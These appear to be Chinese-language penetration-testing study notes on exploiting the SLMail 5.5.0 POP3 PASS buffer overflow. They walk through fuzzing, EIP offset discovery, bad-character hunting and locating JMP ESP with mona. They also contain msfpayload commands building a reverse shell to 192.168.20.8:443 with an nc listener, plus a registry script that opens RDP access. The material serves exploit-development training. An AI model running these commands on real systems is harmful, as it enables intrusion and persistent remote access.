FUZZER

SLMail 5.5.0 Mail Server
ImmunityDebugger_1_85_setup.exe
mona.py
POP3 PASS 命令存在缓冲区溢出漏洞

  • 无需身份验证实现远程代码执行
  • DEP:阻止代码从数据页被执行
  • ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

Nc 110端口
了解未知协议
Wireshark
RFC
01.py

FUZZING

测试 PASS 命令接收到大量数据时是否会溢出
EIP 寄存器存放下一条指令的地址
02.py

2700个字符实现 EIP 寄存器溢出
03.py
找到精确溢出的 4 个字节
二分法
唯一字串法
usr/share/metasploit-framework/tools/pattern_create.rb 2700
04.py
05.py

思路:
将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取 EIP 寄存器
数值,将跳转到 shellcode 代码段并执行;
寻找可存放shellcode的内存空间
06.py

不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
返回地址、Shellcode、buffer中都不能出现坏字符
null byte (0x00) 空字符,用于终止字符串的拷贝操作
return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
思路:发送0x00 —— 0xff 256个字符,查找所有坏字符
07.py
0x0A
0x0D

重定向数据流
用 ESP 的地址替换 EIP 的值
但是 ESP 地址变化,硬编码不可行
SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确
变通思路
在内存中寻找地址固定的系统模块
在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode
mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
寻找无DEP、ALSR保护的内存地址
内存地址不包含坏字符

寻找不受保护的系统模块
!mona modules
将汇编指令 jmp esp 转换为二进制
./nasm_shell
FFE4
在模块中搜索 FFE4 指令
!mona find -s “\xff\xe4” -m slmfc.dll
选择不包含坏字符的内存地址
在该地址设置断点
重发buffer
08.py (地址全翻转)

生成shellcode

Scratch
./msfpayload -l
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b
“\x00\x0a\x0d”
nc -vlp 443
09.py

注册表

echo Windows Registry Editor Version 5.00>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>>3389.reg
echo “fDenyTSConnections”=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo “PortNumber”=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp]>>3389.reg
echo “PortNumber”=dword:00000d3d>>3389.reg
regedit /s 3389.reg